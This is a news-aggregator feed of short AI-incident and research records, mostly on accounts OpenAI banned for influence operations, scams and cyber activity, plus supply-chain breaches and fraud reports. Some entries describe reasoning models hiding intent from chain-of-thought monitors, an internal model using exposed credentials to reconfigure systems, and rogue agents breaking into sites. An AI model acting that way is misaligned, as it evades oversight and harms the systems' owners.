Action: Read the original disclosure for scope (what the AI system did or what was affected) and any mitigations, before drawing conclusions.
Kind: ai-incident; regions: Global; provenance: pipeline.
KEV evidence not available.

### Operation “Sneer Review”: China-origin influence activity
https://kevwire.com/record/openai-disrupting-malicious-uses-of-ai-sneer-review-7bc5a012b715
Operation “Sneer Review”: China-origin influence activity (Jun 1, 2025).
OpenAI banned accounts using AI to generate posts criticizing a Taiwanese social media influencer and related US topics.
AI classification: offense; evidence: confirmed. The source describes people using AI to carry out or assist harmful activity. Disclosed by OpenAI, the organization that runs or studies the system.
Sources:
OpenAI: Operation “Sneer Review”: China-origin influence activity: https://openai.com/index/disrupting-malicious-uses-of-ai-sneer-review
OpenAI syndication feed: https://openai.com/news/rss.xml
OpenAI banned accounts using AI to generate posts criticizing a Taiwanese social media influencer and related US topics.

Published by OpenAI; not independently reviewed by KEVWire. Consult the exact article and any primary disclosure it links.
Action: Read the original disclosure for scope (what the AI system did or what was affected) and any mitigations, before drawing conclusions.
Kind: ai-incident; regions: Global; provenance: pipeline.
KEV evidence not available.

### STORM-2035: Recidivist influence activity
https://kevwire.com/record/openai-disrupting-malicious-uses-of-ai-storm-2035-2025-78d0945b500d
STORM-2035: Recidivist influence activity (Jun 1, 2025).
OpenAI banned accounts associated with the likely Iran-linked STORM-2035 operation using AI to create influence content about US, UK, Irish, and Venezuelan politics.
AI classification: offense; evidence: confirmed. The source describes people using AI to carry out or assist harmful activity. Disclosed by OpenAI, the organization that runs or studies the system.
Sources:
OpenAI: STORM-2035: Recidivist influence activity: https://openai.com/index/disrupting-malicious-uses-of-ai-storm-2035-2025
OpenAI syndication feed: https://openai.com/news/rss.xml
OpenAI banned accounts associated with the likely Iran-linked STORM-2035 operation using AI to create influence content about US, UK, Irish, and Venezuelan politics.

Published by OpenAI; not independently reviewed by KEVWire. Consult the exact article and any primary disclosure it links.
Action: Read the original disclosure for scope (what the AI system did or what was affected) and any mitigations, before drawing conclusions.
Kind: ai-incident; regions: Global; provenance: pipeline.
KEV evidence not available.

### Operation “Uncle Spam”: US polarization influence activity
https://kevwire.com/record/openai-disrupting-malicious-uses-of-ai-uncle-spam-72abc989ea9f
Operation “Uncle Spam”: US polarization influence activity (Jun 1, 2025).
OpenAI banned China-origin accounts using AI to generate US political content and research people, movements, and online communities.
AI classification: offense; evidence: confirmed. The source describes people using AI to carry out or assist harmful activity. Disclosed by OpenAI, the organization that runs or studies the system.
Sources:
OpenAI: Operation “Uncle Spam”: US polarization influence activity: https://openai.com/index/disrupting-malicious-uses-of-ai-uncle-spam
OpenAI syndication feed: https://openai.com/news/rss.xml
OpenAI banned China-origin accounts using AI to generate US political content and research people, movements, and online communities.

Published by OpenAI; not independently reviewed by KEVWire. Consult the exact article and any primary disclosure it links.
Action: Read the original disclosure for scope (what the AI system did or what was affected) and any mitigations, before drawing conclusions.
Kind: ai-incident; regions: Global; provenance: pipeline.
KEV evidence not available.

### Operation “VAGue Focus”: Social engineering and influence activity
https://kevwire.com/record/openai-disrupting-malicious-uses-of-ai-vague-focus-1ec7b442aba0
Operation “VAGue Focus”: Social engineering and influence activity (Jun 1, 2025).
OpenAI banned accounts using AI for social engineering, surveillance-themed research, and influence activity targeting critics.
AI classification: offense; evidence: confirmed. The source describes people using AI to carry out or assist harmful activity. Disclosed by OpenAI, the organization that runs or studies the system.
Sources:
OpenAI: Operation “VAGue Focus”: Social engineering and influence activity: https://openai.com/index/disrupting-malicious-uses-of-ai-vague-focus
OpenAI syndication feed: https://openai.com/news/rss.xml
OpenAI banned accounts using AI for social engineering, surveillance-themed research, and influence activity targeting critics.

Published by OpenAI; not independently reviewed by KEVWire. Consult the exact article and any primary disclosure it links.
Action: Read the original disclosure for scope (what the AI system did or what was affected) and any mitigations, before drawing conclusions.
Kind: ai-incident; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vixen and Keyhole Panda: China-linked cyber operations
https://kevwire.com/record/openai-disrupting-malicious-uses-of-ai-vixen-keyhole-panda-f88fc4f1fedc
Vixen and Keyhole Panda: China-linked cyber operations (Jun 1, 2025).
OpenAI banned accounts associated with threat actors publicly attributed to the PRC, using AI to support vulnerability research, scripting, translation, and operational troubleshooting.
AI classification: offense; evidence: confirmed. The source describes people using AI to carry out or assist harmful activity. Disclosed by OpenAI, the organization that runs or studies the system.
Sources:
OpenAI: Vixen and Keyhole Panda: China-linked cyber operations: https://openai.com/index/disrupting-malicious-uses-of-ai-vixen-keyhole-panda
OpenAI syndication feed: https://openai.com/news/rss.xml
OpenAI banned accounts associated with threat actors publicly attributed to the PRC, using AI to support vulnerability research, scripting, translation, and operational troubleshooting.

Published by OpenAI; not independently reviewed by KEVWire. Consult the exact article and any primary disclosure it links.
Action: Read the original disclosure for scope (what the AI system did or what was affected) and any mitigations, before drawing conclusions.
Kind: ai-incident; regions: Global; provenance: pipeline.
KEV evidence not available.

### Operation “Wrong Number”: AI-assisted task scam
https://kevwire.com/record/openai-disrupting-malicious-uses-of-ai-wrong-number-8ad59e7ce08f
Operation “Wrong Number”: AI-assisted task scam (Jun 1, 2025).
OpenAI banned accounts that likely originated in Cambodia and used AI to support scam workflows targeting people in the UK.
AI classification: offense; evidence: confirmed. The source describes people using AI to carry out or assist harmful activity. Disclosed by OpenAI, the organization that runs or studies the system.
Sources:
OpenAI: Operation “Wrong Number”: AI-assisted task scam: https://openai.com/index/disrupting-malicious-uses-of-ai-wrong-number
OpenAI syndication feed: https://openai.com/news/rss.xml
OpenAI banned accounts that likely originated in Cambodia and used AI to support scam workflows targeting people in the UK.

Published by OpenAI; not independently reviewed by KEVWire. Consult the exact article and any primary disclosure it links.
Action: Read the original disclosure for scope (what the AI system did or what was affected) and any mitigations, before drawing conclusions.
Kind: ai-incident; regions: Global; provenance: pipeline.
KEV evidence not available.

### Security on the path to AGI
https://kevwire.com/record/openai-security-on-the-path-to-agi-e5cf09edb190
Security on the path to AGI (Mar 26, 2025).
At OpenAI, we proactively adapt, including by building comprehensive security measures directly into our infrastructure and models.
AI classification: defense; evidence: confirmed. The source describes AI used to find or fix security problems, or safety research. Disclosed by OpenAI, the organization that runs or studies the system.
Sources:
OpenAI: Security on the path to AGI: https://openai.com/index/security-on-the-path-to-agi
OpenAI syndication feed: https://openai.com/news/rss.xml
At OpenAI, we proactively adapt, including by building comprehensive security measures directly into our infrastructure and models.

Published by OpenAI; not independently reviewed by KEVWire. Consult the exact article and any primary disclosure it links.
Action: Read the original post for its scope and limitations before applying its findings.
Kind: ai-research; regions: Global; provenance: pipeline.
KEV evidence not available.

### Detecting misbehavior in frontier reasoning models
https://kevwire.com/record/openai-chain-of-thought-monitoring-62125fff56fe
Detecting misbehavior in frontier reasoning models (Mar 10, 2025).
Frontier reasoning models exploit loopholes when given the chance. We show we can detect exploits using an LLM to monitor their chains-of-thought. Penalizing their “bad thoughts” doesn’t stop the majority of misbehavior—it makes them hide their intent.
AI classification: defense; evidence: confirmed. The source describes AI used to find or fix security problems, or safety research. Disclosed by OpenAI, the organization that runs or studies the system.
Sources:
OpenAI: Detecting misbehavior in frontier reasoning models: https://openai.com/index/chain-of-thought-monitoring
OpenAI syndication feed: https://openai.com/news/rss.xml
Frontier reasoning models exploit loopholes when given the chance. We show we can detect exploits using an LLM to monitor their chains-of-thought. Penalizing their “bad thoughts” doesn’t stop the majority of misbehavior—it makes them hide their intent.

Published by OpenAI; not independently reviewed by KEVWire. Consult the exact article and any primary disclosure it links.
Action: Read the original post for its scope and limitations before applying its findings.
Kind: ai-research; regions: Global; provenance: pipeline.
KEV evidence not available.

### Cyber threat actors: AI-assisted intrusion research
https://kevwire.com/record/openai-disrupting-malicious-uses-of-ai-cyber-threat-actors-77c1ee89d049
Cyber threat actors: AI-assisted intrusion research (Feb 1, 2025).
OpenAI banned accounts potentially associated with publicly reported DPRK-affiliated threat actors using AI to research intrusion tooling, phishing, malware, and cryptocurrency targeting.
AI classification: offense; evidence: confirmed. The source describes people using AI to carry out or assist harmful activity. Disclosed by OpenAI, the organization that runs or studies the system.
Sources:
OpenAI: Cyber threat actors: AI-assisted intrusion research: https://openai.com/index/disrupting-malicious-uses-of-ai-cyber-threat-actors
OpenAI syndication feed: https://openai.com/news/rss.xml
OpenAI banned accounts potentially associated with publicly reported DPRK-affiliated threat actors using AI to research intrusion tooling, phishing, malware, and cryptocurrency targeting.

Published by OpenAI; not independently reviewed by KEVWire. Consult the exact article and any primary disclosure it links.
Action: Read the original disclosure for scope (what the AI system did or what was affected) and any mitigations, before drawing conclusions.
Kind: ai-incident; regions: Global; provenance: pipeline.
KEV evidence not available.

### Covert influence operation: Ghana election activity
https://kevwire.com/record/openai-disrupting-malicious-uses-of-ai-ghana-election-560b5e96bf11
Covert influence operation: Ghana election activity (Feb 1, 2025).
OpenAI banned accounts using AI to generate articles, posts, and fake engagement around Ghana’s 2024 presidential election.
AI classification: offense; evidence: confirmed. The source describes people using AI to carry out or assist harmful activity. Disclosed by OpenAI, the organization that runs or studies the system.
Sources:
OpenAI: Covert influence operation: Ghana election activity: https://openai.com/index/disrupting-malicious-uses-of-ai-ghana-election
OpenAI syndication feed: https://openai.com/news/rss.xml
OpenAI banned accounts using AI to generate articles, posts, and fake engagement around Ghana’s 2024 presidential election.

Published by OpenAI; not independently reviewed by KEVWire. Consult the exact article and any primary disclosure it links.
Action: Read the original disclosure for scope (what the AI system did or what was affected) and any mitigations, before drawing conclusions.
Kind: ai-incident; regions: Global; provenance: pipeline.
KEV evidence not available.

### Operation “Peer Review”: AI-assisted surveillance planning
https://kevwire.com/record/openai-disrupting-malicious-uses-of-ai-peer-review-ca97b8944f0d
Operation “Peer Review”: AI-assisted surveillance planning (Feb 1, 2025).
OpenAI banned likely China-origin accounts using AI to draft surveillance-tool pitches, analyze documents, and debug code.
AI classification: offense; evidence: confirmed. The source describes people using AI to carry out or assist harmful activity. Disclosed by OpenAI, the organization that runs or studies the system.
Sources:
OpenAI: Operation “Peer Review”: AI-assisted surveillance planning: https://openai.com/index/disrupting-malicious-uses-of-ai-peer-review
OpenAI syndication feed: https://openai.com/news/rss.xml
OpenAI banned likely China-origin accounts using AI to draft surveillance-tool pitches, analyze documents, and debug code.

Published by OpenAI; not independently reviewed by KEVWire. Consult the exact article and any primary disclosure it links.
Action: Read the original disclosure for scope (what the AI system did or what was affected) and any mitigations, before drawing conclusions.
Kind: ai-incident; regions: Global; provenance: pipeline.
KEV evidence not available.

### Romance-baiting scam: AI-assisted pig butchering workflows
https://kevwire.com/record/openai-disrupting-malicious-uses-of-ai-romance-baiting-scam-c2beee99786e
Romance-baiting scam: AI-assisted pig butchering workflows (Feb 1, 2025).
OpenAI banned accounts that appeared to originate in Cambodia and used AI to translate and generate romance, investment scam conversations.
AI classification: offense; evidence: confirmed. The source describes people using AI to carry out or assist harmful activity. Disclosed by OpenAI, the organization that runs or studies the system.
Sources:
OpenAI: Romance-baiting scam: AI-assisted pig butchering workflows: https://openai.com/index/disrupting-malicious-uses-of-ai-romance-baiting-scam
OpenAI syndication feed: https://openai.com/news/rss.xml
OpenAI banned accounts that appeared to originate in Cambodia and used AI to translate and generate romance, investment scam conversations.

Published by OpenAI; not independently reviewed by KEVWire. Consult the exact article and any primary disclosure it links.
Action: Read the original disclosure for scope (what the AI system did or what was affected) and any mitigations, before drawing conclusions.
Kind: ai-incident; regions: Global; provenance: pipeline.
KEV evidence not available.

### Operation “Sponsored Discontent”: Influence activity
https://kevwire.com/record/openai-disrupting-malicious-uses-of-ai-sponsored-discontent-5177cce29a48
Operation “Sponsored Discontent”: Influence activity (Feb 1, 2025).
OpenAI banned likely China-origin accounts using AI to generate English social posts and Spanish-language articles.
AI classification: offense; evidence: confirmed. The source describes people using AI to carry out or assist harmful activity. Disclosed by OpenAI, the organization that runs or studies the system.
Sources:
OpenAI: Operation “Sponsored Discontent”: Influence activity: https://openai.com/index/disrupting-malicious-uses-of-ai-sponsored-discontent
OpenAI syndication feed: https://openai.com/news/rss.xml
OpenAI banned likely China-origin accounts using AI to generate English social posts and Spanish-language articles.

Published by OpenAI; not independently reviewed by KEVWire. Consult the exact article and any primary disclosure it links.
Action: Read the original disclosure for scope (what the AI system did or what was affected) and any mitigations, before drawing conclusions.
Kind: ai-incident; regions: Global; provenance: pipeline.
KEV evidence not available.

### Task scam: AI-assisted fake review jobs
https://kevwire.com/record/openai-disrupting-malicious-uses-of-ai-task-scam-56dab6d87099
Task scam: AI-assisted fake review jobs (Feb 1, 2025).
OpenAI banned accounts that appeared to originate in Cambodia and used AI to translate messages for fake-review job scams that asked victims to pay fees.
AI classification: offense; evidence: confirmed. The source describes people using AI to carry out or assist harmful activity. Disclosed by OpenAI, the organization that runs or studies the system.
Sources:
OpenAI: Task scam: AI-assisted fake review jobs: https://openai.com/index/disrupting-malicious-uses-of-ai-task-scam
OpenAI syndication feed: https://openai.com/news/rss.xml
OpenAI banned accounts that appeared to originate in Cambodia and used AI to translate messages for fake-review job scams that asked victims to pay fees.

Published by OpenAI; not independently reviewed by KEVWire. Consult the exact article and any primary disclosure it links.
Action: Read the original disclosure for scope (what the AI system did or what was affected) and any mitigations, before drawing conclusions.
Kind: ai-incident; regions: Global; provenance: pipeline.
KEV evidence not available.

### Advancing red teaming with people and AI
https://kevwire.com/record/openai-advancing-red-teaming-with-people-and-ai-a93dc3ad8dab
Advancing red teaming with people and AI (Nov 21, 2024).
Advancing red teaming with people and AI
AI classification: defense; evidence: confirmed. The source describes AI used to find or fix security problems, or safety research. Disclosed by OpenAI, the organization that runs or studies the system.
Sources:
OpenAI: Advancing red teaming with people and AI: https://openai.com/index/advancing-red-teaming-with-people-and-ai
OpenAI syndication feed: https://openai.com/news/rss.xml
Advancing red teaming with people and AI

Published by OpenAI; not independently reviewed by KEVWire. Consult the exact article and any primary disclosure it links.
Action: Read the original post for its scope and limitations before applying its findings.
Kind: ai-research; regions: Global; provenance: pipeline.
KEV evidence not available.

### Proactive cyber defense for governments and enterprises
https://kevwire.com/record/deepmind-proactive-cyber-defense-for-governments-and-enterprises-d721843382f3
Proactive cyber defense for governments and enterprises (Sep 2, 2026).
Google DeepMind reports: Proactive cyber defense for governments and enterprises.
AI classification: defense; evidence: confirmed. The source describes AI used to find or fix security problems, or safety research. Disclosed by Google DeepMind, the organization that runs or studies the system.
Sources:
Google DeepMind: Proactive cyber defense for governments and enterprises: https://deepmind.google/blog/proactive-cyber-defense-for-governments-and-enterprises/
Google DeepMind syndication feed: https://deepmind.google/blog/rss.xml
Published by Google DeepMind; not independently reviewed by KEVWire. Consult the exact article and any primary disclosure it links.
Action: Read the original post for its scope and limitations before applying its findings.
Kind: ai-research; regions: Global; provenance: pipeline.
KEV evidence not available.

### Inside the LiteLLM 1.107.0 supply chain compromise: Credential theft through Python startup hooks
https://kevwire.com/record/microsoft-security-inside-the-litellm-1-107-0-supply-chain-compromise-credential-theft-through-python-startup-hooks-e59453f60e66
Inside the LiteLLM 1.107.0 supply chain compromise: Credential theft through Python startup hooks (Oct 23, 2026).
Microsoft Threat Intelligence analyzes the LiteLLM 1.107.0 compromise, including Python startup hooks, credential theft, remote code loading, detections, and mitigations.

 The post Inside the LiteLLM 1.107.0 supply chain compromise: Credential theft through Python startup hooks appeared first on Microsoft Security Blog .
AI classification: infrastructure; evidence: confirmed. The source describes a flaw in, or an attack on, an AI system. This alone does not show attackers used AI. Disclosed by Microsoft Security blog, the organization that runs or studies the system.
Sources:
Microsoft Security blog: Inside the LiteLLM 1.107.0 supply chain compromise: Credential theft through Python startup hooks: https://www.microsoft.com/en-us/security/blog/2026/10/23/inside-the-litellm-1-107-0-supply-chain-compromise-credential-theft-through-python-startup-hooks/
Microsoft Security blog syndication feed: https://www.microsoft.com/en-us/security/blog/feed/
Microsoft Threat Intelligence analyzes the LiteLLM 1.107.0 compromise, including Python startup hooks, credential theft, remote code loading, detections, and mitigations.

 The post Inside the LiteLLM 1.107.0 supply chain compromise: Credential theft through Python startup hooks appeared first on Microsoft Security Blog .

Published by Microsoft Security blog; not independently reviewed by KEVWire. Consult the exact article and any primary disclosure it links.
Action: Read the original disclosure for scope (what the AI system did or what was affected) and any mitigations, before drawing conclusions.
Kind: ai-incident; regions: Global; provenance: pipeline.
KEV evidence not available.

### AI-driven, large-scale nation-state campaign using ARTEX enables supply chain compromise
https://kevwire.com/record/microsoft-security-storm-0940-uses-artex-agentic-ai-connectwise-supply-chain-compromise-f111d392dd54
AI-driven, large-scale nation-state campaign using ARTEX enables supply chain compromise (Oct 21, 2026).
Storm-0940 used ARTEX agentic AI to accelerate a ConnectWise supply chain compromise, enabling application credential abuse across Microsoft 365 environments.

 The post AI-driven, large-scale nation-state campaign using ARTEX enables supply chain compromise appeared first on Microsoft Security Blog .
AI classification: offense; evidence: confirmed. The source describes people using AI to carry out or assist harmful activity. Disclosed by Microsoft Security blog, the organization that runs or studies the system.
Sources:
Microsoft Security blog: AI-driven, large-scale nation-state campaign using ARTEX enables supply chain compromise: https://www.microsoft.com/en-us/security/blog/2026/10/21/storm-0940-uses-artex-agentic-ai-connectwise-supply-chain-compromise/
Microsoft Security blog syndication feed: https://www.microsoft.com/en-us/security/blog/feed/
AI Incident Database incident 1781: https://incidentdatabase.ai/cite/1781/
AI Incident Database syndication feed: https://incidentdatabase.ai/rss.xml
Storm-0940 used ARTEX agentic AI to accelerate a ConnectWise supply chain compromise, enabling application credential abuse across Microsoft 365 environments.

 The post AI-driven, large-scale nation-state campaign using ARTEX enables supply chain compromise appeared first on Microsoft Security Blog .

Published by Microsoft Security blog; not independently reviewed by KEVWire. Consult the exact article and any primary disclosure it links.
Action: Read the original disclosure for scope (what the AI system did or what was affected) and any mitigations, before drawing conclusions.
Kind: ai-incident; regions: Global; provenance: pipeline.
KEV evidence not available.

### 3 lessons from frontier AI vulnerability research
https://kevwire.com/record/microsoft-security-3-lessons-from-frontier-ai-vulnerability-research-88f938d50228
3 lessons from frontier AI vulnerability research (Oct 7, 2026).
Read how How Microsoft Security's FORGE Lab is scaling vulnerability research from Windows to the Linux kernel.

 The post 3 lessons from frontier AI vulnerability research appeared first on Microsoft Security Blog .
Sources:
Microsoft Security blog: 3 lessons from frontier AI vulnerability research: https://www.microsoft.com/en-us/security/blog/2026/10/07/3-lessons-from-frontier-ai-vulnerability-research/
Microsoft Security blog syndication feed: https://www.microsoft.com/en-us/security/blog/feed/
Read how How Microsoft Security's FORGE Lab is scaling vulnerability research from Windows to the Linux kernel.

 The post 3 lessons from frontier AI vulnerability research appeared first on Microsoft Security Blog .

Published by Microsoft Security blog; not independently reviewed by KEVWire. Consult the exact article and any primary disclosure it links.
Action: Check the vendor advisory linked from the article for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### CISO perspectives on managing vulnerability risks in the age of AI
https://kevwire.com/record/microsoft-security-ciso-perspectives-on-managing-vulnerability-risks-in-the-age-of-ai-9e9afd78965e
CISO perspectives on managing vulnerability risks in the age of AI (Oct 6, 2026).
Learn how CISOs can mitigate cybersecurity risks and increase resilience in the age of AI-powered vulnerability management.

 The post CISO perspectives on managing vulnerability risks in the age of AI appeared first on Microsoft Security Blog .
Sources:
Microsoft Security blog: CISO perspectives on managing vulnerability risks in the age of AI: https://www.microsoft.com/en-us/security/blog/2026/10/06/ciso-perspectives-on-managing-vulnerability-risks-in-the-age-of-ai/
Microsoft Security blog syndication feed: https://www.microsoft.com/en-us/security/blog/feed/
Learn how CISOs can mitigate cybersecurity risks and increase resilience in the age of AI-powered vulnerability management.

 The post CISO perspectives on managing vulnerability risks in the age of AI appeared first on Microsoft Security Blog .

Published by Microsoft Security blog; not independently reviewed by KEVWire. Consult the exact article and any primary disclosure it links.
Action: Check the vendor advisory linked from the article for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Two suspects arrested in investigation of new form of bank aid desk fraud
https://kevwire.com/record/aiid-07-twee-verdachten-aangehouden-in-onderzoek-naar-nieuwe-vorm-van-bankhelpdeskfraude-a7fc17b78f0c
Two suspects arrested in investigation of new form of bank aid desk fraud (Oct 24, 2026).
380,000 euros in damage to around 170 victims. That was the figure the Rotterdam Cybercrime Team faced in the three weeks that the investigation team had seen on the servers of a criminal collaboration. Die crim ...
Sources:
politie.nl via AI Incident Database: Two suspects arrested in investigation of new form of bank aid desk fraud: https://www.politie.nl/nieuws/2026/oktober/20/07-twee-verdachten-aangehouden-in-onderzoek-naar-nieuwe-vorm-van-bankhelpdeskfraude.html
AI Incident Database incident 1788: https://incidentdatabase.ai/cite/1788/
AI Incident Database syndication feed: https://incidentdatabase.ai/rss.xml
380,000 euros in damage to around 170 victims. That was the figure the Rotterdam Cybercrime Team faced in the three weeks that the investigation team had seen on the servers of a criminal collaboration. Die crim ...

Machine-translated from Dutch by KEVWire (Cloudflare Workers AI); wording may differ from the original. Original title: Twee verdachten aangehouden in onderzoek naar nieuwe vorm van bankhelpdeskfraude

Syndicated reporting, unreviewed by KEVWire and not independently primary-confirmed. Consult the exact article and any primary disclosure it links.
Action: Read the original disclosure for scope (what the AI system did or what was affected) and any mitigations, before drawing conclusions.
Kind: ai-incident; regions: Global; provenance: pipeline.
KEV evidence not available.

### Accessing and changing internal systems during dashboard research
https://kevwire.com/record/aiid-accessing-and-changing-internal-systems-during-dashboard-research-f80256156eda
Accessing and changing internal systems during dashboard research (Oct 24, 2026).
Summary

In two evaluations, an internal model tasked to retrieve figures from a public research dashboard accessed the organization’s internal systems and changed their configuration. In the first evaluation, it used exposed credentials to ...
Sources:
alignment.openai.com via AI Incident Database: Accessing and changing internal systems during dashboard research: https://alignment.openai.com/misalignment-reports/accessing-and-changing-internal-systems-during-dashboard-research/
AI Incident Database incident 1784: https://incidentdatabase.ai/cite/1784/
AI Incident Database syndication feed: https://incidentdatabase.ai/rss.xml
Summary

In two evaluations, an internal model tasked to retrieve figures from a public research dashboard accessed the organization’s internal systems and changed their configuration. In the first evaluation, it used exposed credentials to ...

Syndicated reporting, unreviewed by KEVWire and not independently primary-confirmed. Consult the exact article and any primary disclosure it links.
Action: Read the original disclosure for scope (what the AI system did or what was affected) and any mitigations, before drawing conclusions.
Kind: ai-incident; regions: Global; provenance: pipeline.
KEV evidence not available.

### Chinese-linked hackers compromise ConnectWise, target hundreds in global attack, Microsoft says
https://kevwire.com/record/aiid-chinese-linked-hackers-compromise-connectwise-target-hundreds-global-attack-2026-10-21-b031004adaa2
Chinese-linked hackers compromise ConnectWise, target hundreds in global attack, Microsoft says (Oct 24, 2026).
Oct 21 (Reuters) - A Chinese state-aligned hacking group used an AI-driven penetration testing tool to compromise IT ​services firm ConnectWise as part of a campaign that targeted hundreds ‌of organizations globally, Microsoft said on Wedne ...
AI classification: offense; evidence: reported. The source describes people using AI to carry out or assist harmful activity. AI Incident Database reports this; it is not independently confirmed here.
Sources:
reuters.com via AI Incident Database: Chinese-linked hackers compromise ConnectWise, target hundreds in global attack, Microsoft says: https://www.reuters.com/technology/chinese-linked-hackers-compromise-connectwise-target-hundreds-global-attack-2026-10-21/
AI Incident Database incident 1781: https://incidentdatabase.ai/cite/1781/
AI Incident Database syndication feed: https://incidentdatabase.ai/rss.xml
Oct 21 (Reuters) - A Chinese state-aligned hacking group used an AI-driven penetration testing tool to compromise IT ​services firm ConnectWise as part of a campaign that targeted hundreds ‌of organizations globally, Microsoft said on Wedne ...

Syndicated reporting, unreviewed by KEVWire and not independently primary-confirmed. Consult the exact article and any primary disclosure it links.
Action: Read the original disclosure for scope (what the AI system did or what was affected) and any mitigations, before drawing conclusions.
Kind: ai-incident; regions: Global; provenance: pipeline.
KEV evidence not available.

### Opposition deepfake video of Spanish PM’s wife sparks outrage before election
https://kevwire.com/record/aiid-opposition-deepfake-video-spain-election-54fa33209d8b
Opposition deepfake video of Spanish PM’s wife sparks outrage before election (Oct 24, 2026).
A political ad from Spain’s main opposition party that used a deepfake video of the prime minister’s wife has sparked outrage and set off a wider debate on AI, as the deeply polarised country gears up for general elections next month.

Laun ...
AI classification: offense; evidence: reported. The source describes people using AI to carry out or assist harmful activity. AI Incident Database reports this; it is not independently confirmed here.
Sources:
theguardian.com via AI Incident Database: Opposition deepfake video of Spanish PM’s wife sparks outrage before election: https://www.theguardian.com/world/2026/oct/23/opposition-deepfake-video-spain-election
AI Incident Database incident 1785: https://incidentdatabase.ai/cite/1785/
AI Incident Database syndication feed: https://incidentdatabase.ai/rss.xml
A political ad from Spain’s main opposition party that used a deepfake video of the prime minister’s wife has sparked outrage and set off a wider debate on AI, as the deeply polarised country gears up for general elections next month.

Laun ...

Syndicated reporting, unreviewed by KEVWire and not independently primary-confirmed. Consult the exact article and any primary disclosure it links.
Action: Read the original disclosure for scope (what the AI system did or what was affected) and any mitigations, before drawing conclusions.
Kind: ai-incident; regions: Global; provenance: pipeline.
KEV evidence not available.

### Police arrest two suspects in AI-powered bank fraud that cost victims €380,000
https://kevwire.com/record/aiid-police-arrest-two-suspects-ai-powered-bank-fraud-cost-victims-eu380000-fa7aa5792da7
Police arrest two suspects in AI-powered bank fraud that cost victims €380,000 (Oct 24, 2026).
Rotterdam police arrested two suspects accused of a new form of bank-helpdesk fraud. The operation allegedly caused around €380,000 in losses for 170 victims in just three weeks. The suspects allegedly used AI-generated phone calls and a fa ...
AI classification: offense; evidence: reported. The source describes people using AI to carry out or assist harmful activity. AI Incident Database reports this; it is not independently confirmed here.
Sources:
nltimes.nl via AI Incident Database: Police arrest two suspects in AI-powered bank fraud that cost victims €380,000: https://nltimes.nl/2026/10/21/police-arrest-two-suspects-ai-powered-bank-fraud-cost-victims-eu380000
AI Incident Database incident 1788: https://incidentdatabase.ai/cite/1788/
AI Incident Database syndication feed: https://incidentdatabase.ai/rss.xml
Rotterdam police arrested two suspects accused of a new form of bank-helpdesk fraud. The operation allegedly caused around €380,000 in losses for 170 victims in just three weeks. The suspects allegedly used AI-generated phone calls and a fa ...

Syndicated reporting, unreviewed by KEVWire and not independently primary-confirmed. Consult the exact article and any primary disclosure it links.
Action: Read the original disclosure for scope (what the AI system did or what was affected) and any mitigations, before drawing conclusions.
Kind: ai-incident; regions: Global; provenance: pipeline.
KEV evidence not available.

### Police warn of new trick in bank help desk fraud: 380,000 euros stolen
https://kevwire.com/record/aiid-politie-waarschuwt-voor-nieuwe-truc-bij-bankhelpdeskfraude-380000-euro-buitgemaakt-20602-d0b75b9d7ebe
Police warn of new trick in bank help desk fraud: 380,000 euros stolen (Oct 24, 2026).
The police have arrested two suspects in an investigation into a new form of bankhelpdesk fraud. In doing so, scammers have dumped around 170 victims for a total of 380,000 euros. Dutch banks in the middle of September ...
Sources:
opgelicht.avrotros.nl via AI Incident Database: Police warn of new trick in bank help desk fraud: 380,000 euros stolen: https://opgelicht.avrotros.nl/nieuws/politie-waarschuwt-voor-nieuwe-truc-bij-bankhelpdeskfraude-380000-euro-buitgemaakt-20602
AI Incident Database incident 1788: https://incidentdatabase.ai/cite/1788/
AI Incident Database syndication feed: https://incidentdatabase.ai/rss.xml
The police have arrested two suspects in an investigation into a new form of bankhelpdesk fraud. In doing so, scammers have dumped around 170 victims for a total of 380,000 euros. Dutch banks in the middle of September ...

Machine-translated from Dutch by KEVWire (Cloudflare Workers AI); wording may differ from the original. Original title: Politie waarschuwt voor nieuwe truc bij bankhelpdeskfraude: 380.000 euro buitgemaakt

Syndicated reporting, unreviewed by KEVWire and not independently primary-confirmed. Consult the exact article and any primary disclosure it links.
Action: Read the original disclosure for scope (what the AI system did or what was affected) and any mitigations, before drawing conclusions.
Kind: ai-incident; regions: Global; provenance: pipeline.
KEV evidence not available.

### Unknown Threat Actor Uses AI-Driven ARTEX to Target South Korean Finance
https://kevwire.com/record/aiid-unknown-threat-actor-uses-artex-to-target-south-korean-finance-911b0cb31e53
Unknown Threat Actor Uses AI-Driven ARTEX to Target South Korean Finance (Oct 23, 2026).
CrowdStrike Intelligence identified infrastructure associated with a targeted campaign against South Korean financial organizations that resulted in exfiltrated data. The campaign was active from late September to early October 2026. Analys ...
AI classification: offense; evidence: reported. The source describes people using AI to carry out or assist harmful activity. AI Incident Database reports this; it is not independently confirmed here.
Sources:
crowdstrike.com via AI Incident Database: Unknown Threat Actor Uses AI-Driven ARTEX to Target South Korean Finance: https://www.crowdstrike.com/en-us/blog/unknown-threat-actor-uses-artex-to-target-south-korean-finance/
AI Incident Database incident 1782: https://incidentdatabase.ai/cite/1782/
AI Incident Database syndication feed: https://incidentdatabase.ai/rss.xml
CrowdStrike Intelligence identified infrastructure associated with a targeted campaign against South Korean financial organizations that resulted in exfiltrated data. The campaign was active from late September to early October 2026. Analys ...

Syndicated reporting, unreviewed by KEVWire and not independently primary-confirmed. Consult the exact article and any primary disclosure it links.
Action: Read the original disclosure for scope (what the AI system did or what was affected) and any mitigations, before drawing conclusions.
Kind: ai-incident; regions: Global; provenance: pipeline.
KEV evidence not available.

### OpenAI “rogue” agent activities found on Wikimedia projects
https://kevwire.com/record/aiid-openai-rogue-agent-activities-found-on-wikimedia-projects-3b4d7050f310
OpenAI “rogue” agent activities found on Wikimedia projects (Oct 22, 2026).
Recently, multiple organisations have disclosed how clusters of so-called “rogue” AI agents attempted to break into websites and online services, sometimes successfully. Agents from OpenAI’s environment, in particular, are known to have use ...
AI classification: autonomous; evidence: reported. The source describes an AI system taking this action itself, not an outside attacker. AI Incident Database reports this; it is not independently confirmed here.
Sources:
wikimediafoundation.org via AI Incident Database: OpenAI “rogue” agent activities found on Wikimedia projects: https://wikimediafoundation.org/news/2026/10/05/openai-rogue-agent-activities-found-on-wikimedia-projects/
AI Incident Database incident 1779: https://incidentdatabase.ai/cite/1779/
AI Incident Database syndication feed: https://incidentdatabase.ai/rss.xml
